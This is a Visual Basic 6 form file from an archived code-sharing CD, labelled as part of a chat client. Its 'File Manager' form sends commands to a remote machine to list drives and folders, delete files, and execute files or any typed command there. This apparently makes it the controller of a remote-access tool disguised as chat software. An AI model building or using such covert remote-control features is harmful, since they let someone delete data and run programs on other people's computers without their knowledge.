home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 1_2002.ISO / Data / Zips / CODE_UPLOAD6437652000.psc / Chat Client & Chat Server / Chat Client / File.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  2000-05-21  |  6.5 KB  |  197 lines
  1. VERSION 5.00
  2. Begin VB.Form Form3 
  3.    BackColor       =   &H00C00000&
  4.    BorderStyle     =   4  'Fixed ToolWindow
  5.    Caption         =   "File Manager"
  6.    ClientHeight    =   4575
  7.    ClientLeft      =   45
  8.    ClientTop       =   285
  9.    ClientWidth     =   7890
  10.    Icon            =   "File.frx":0000
  11.    LinkTopic       =   "Form2"
  12.    MaxButton       =   0   'False
  13.    MinButton       =   0   'False
  14.    ScaleHeight     =   4575
  15.    ScaleWidth      =   7890
  16.    ShowInTaskbar   =   0   'False
  17.    StartUpPosition =   2  'CenterScreen
  18.    Begin VB.TextBox Text3 
  19.       Height          =   285
  20.       Left            =   3240
  21.       TabIndex        =   9
  22.       Top             =   4200
  23.       Width           =   2655
  24.    End
  25.    Begin VB.CommandButton Command2 
  26.       BackColor       =   &H0080C0FF&
  27.       Caption         =   "&Exit"
  28.       Height          =   255
  29.       Left            =   7080
  30.       Style           =   1  'Graphical
  31.       TabIndex        =   8
  32.       Top             =   4200
  33.       Width           =   735
  34.    End
  35.    Begin VB.CommandButton Command1 
  36.       BackColor       =   &H0080C0FF&
  37.       Caption         =   "&Delete File"
  38.       Height          =   255
  39.       Left            =   6000
  40.       Style           =   1  'Graphical
  41.       TabIndex        =   7
  42.       Top             =   4200
  43.       Width           =   975
  44.    End
  45.    Begin VB.ListBox List4 
  46.       Height          =   255
  47.       ItemData        =   "File.frx":000C
  48.       Left            =   840
  49.       List            =   "File.frx":0019
  50.       TabIndex        =   6
  51.       Top             =   4200
  52.       Width           =   1815
  53.    End
  54.    Begin VB.ListBox List3 
  55.       Height          =   255
  56.       ItemData        =   "File.frx":0039
  57.       Left            =   120
  58.       List            =   "File.frx":008B
  59.       TabIndex        =   5
  60.       Top             =   4200
  61.       Width           =   615
  62.    End
  63.    Begin VB.ListBox List2 
  64.       BackColor       =   &H00000000&
  65.       ForeColor       =   &H0000FF00&
  66.       Height          =   3570
  67.       ItemData        =   "File.frx":00DD
  68.       Left            =   3960
  69.       List            =   "File.frx":00DF
  70.       TabIndex        =   4
  71.       Top             =   480
  72.       Width           =   3855
  73.    End
  74.    Begin VB.ListBox List1 
  75.       BackColor       =   &H00000000&
  76.       ForeColor       =   &H0000FF00&
  77.       Height          =   3570
  78.       ItemData        =   "File.frx":00E1
  79.       Left            =   120
  80.       List            =   "File.frx":00E3
  81.       TabIndex        =   2
  82.       Top             =   480
  83.       Width           =   3855
  84.    End
  85.    Begin VB.TextBox Text2 
  86.       Height          =   285
  87.       Left            =   3960
  88.       Locked          =   -1  'True
  89.       MultiLine       =   -1  'True
  90.       ScrollBars      =   2  'Vertical
  91.       TabIndex        =   1
  92.       Top             =   120
  93.       Visible         =   0   'False
  94.       Width           =   3855
  95.    End
  96.    Begin VB.TextBox Text1 
  97.       Height          =   285
  98.       Left            =   120
  99.       Locked          =   -1  'True
  100.       MultiLine       =   -1  'True
  101.       ScrollBars      =   2  'Vertical
  102.       TabIndex        =   0
  103.       Top             =   120
  104.       Visible         =   0   'False
  105.       Width           =   3855
  106.    End
  107.    Begin VB.Label Label2 
  108.       Alignment       =   2  'Center
  109.       AutoSize        =   -1  'True
  110.       BackColor       =   &H00C00000&
  111.       Caption         =   "Run:"
  112.       ForeColor       =   &H00FFFFFF&
  113.       Height          =   195
  114.       Left            =   2760
  115.       TabIndex        =   10
  116.       Top             =   4200
  117.       Width           =   375
  118.    End
  119.    Begin VB.Label Label1 
  120.       AutoSize        =   -1  'True
  121.       BackColor       =   &H00C00000&
  122.       ForeColor       =   &H0000FFFF&
  123.       Height          =   195
  124.       Left            =   120
  125.       TabIndex        =   3
  126.       Top             =   120
  127.       Width           =   75
  128.    End
  129. Attribute VB_Name = "Form3"
  130. Attribute VB_GlobalNameSpace = False
  131. Attribute VB_Creatable = False
  132. Attribute VB_PredeclaredId = True
  133. Attribute VB_Exposed = False
  134. Private Sub Command1_Click()
  135. 'Delete A File
  136. msg = MsgBox("Are you Sure?", vbYesNo + vbQuestion, "Confirm Delete")
  137. If msg = vbYes And Len(Label1.Caption) <= 3 Then Send "DelFile" + Label1.Caption + List2.List(List2.ListIndex): Exit Sub
  138. If msg = vbYes And Len(Label1.Caption) > 3 Then Send "DelFile" + Label1.Caption + "\" + List2.List(List2.ListIndex): Exit Sub
  139. If msg = vbNo Then Exit Sub
  140. End Sub
  141. Private Sub Command2_Click()
  142. Unload Form3
  143. End Sub
  144. Private Sub List2_KeyDown(KeyCode As Integer, Shift As Integer)
  145. 'Delete A File
  146. If KeyCode = vbKeyDelete Then
  147. msg = MsgBox("Are you Sure?", vbYesNo + vbQuestion, "Confirm Delete")
  148. If msg = vbYes And Len(Label1.Caption) <= 3 Then Send "DelFile" + Label1.Caption + List2.List(List2.ListIndex): Exit Sub
  149. If msg = vbYes And Len(Label1.Caption) > 3 Then Send "DelFile" + Label1.Caption + "\" + List2.List(List2.ListIndex): Exit Sub
  150. If msg = vbNo Then Exit Sub
  151. End If
  152. End Sub
  153. Private Sub List3_Click()
  154. Label1 = List3.List(List3.ListIndex) + ":\"
  155. Send "DirPath" + List3.List(List3.ListIndex) + ":\"
  156. End Sub
  157. Private Sub List4_Click()
  158. If List4.ListIndex = 0 Then Send "DirPath" + "C:\Windows\Desktop": Label1.Caption = "C:\Windows\Desktop"
  159. If List4.ListIndex = 1 Then Send "DirPath" + "C:\My Documents": Label1.Caption = "C:\My Documents"
  160. If List4.ListIndex = 2 Then Send "DirPath" + "C:\Program Files\ICQ": Label1.Caption = "C:\Program Files\ICQ"
  161. End Sub
  162. Private Sub Text1_Change()
  163. List1.Clear
  164. On Error GoTo skip
  165. Foundpos = 1
  166. For i = 0 To Len(Text1) / 3
  167. Foundpos1 = InStr(Foundpos, Text1, Chr$(13))
  168. List1.AddItem Mid(Text1, Foundpos, Foundpos1 - Foundpos), i
  169. Foundpos = Foundpos + (Foundpos1 - Foundpos) + 1
  170. skip:
  171. End Sub
  172. Private Sub text2_Change()
  173. List2.Clear
  174. On Error GoTo skip
  175. Foundpos = 1
  176. For i = 0 To Len(Text2) / 3
  177. Foundpos1 = InStr(Foundpos, Text2, Chr$(13))
  178. List2.AddItem Mid(Text2, Foundpos, Foundpos1 - Foundpos), i
  179. Foundpos = Foundpos + (Foundpos1 - Foundpos) + 1
  180. skip:
  181. End Sub
  182. Private Sub List1_DblClick()
  183. Label1.Caption = List1.List(List1.ListIndex)
  184. Send "DirPath" + List1.List(List1.ListIndex)
  185. End Sub
  186. Private Sub list2_DblClick()
  187. If Len(Label1) <= 3 Then Send "Execute" + Label1 + List2.List(List2.ListIndex)
  188. If Len(Label1) > 3 Then Send "Execute" + Label1 + "\" + List2.List(List2.ListIndex)
  189. End Sub
  190. Private Sub Text3_KeyDown(KeyCode As Integer, Shift As Integer)
  191. If KeyCode = vbKeyReturn Then
  192. If Text3 = "" Then Exit Sub
  193. Send "Execute" + Text3
  194. Text3 = ""
  195. End If
  196. End Sub
  197.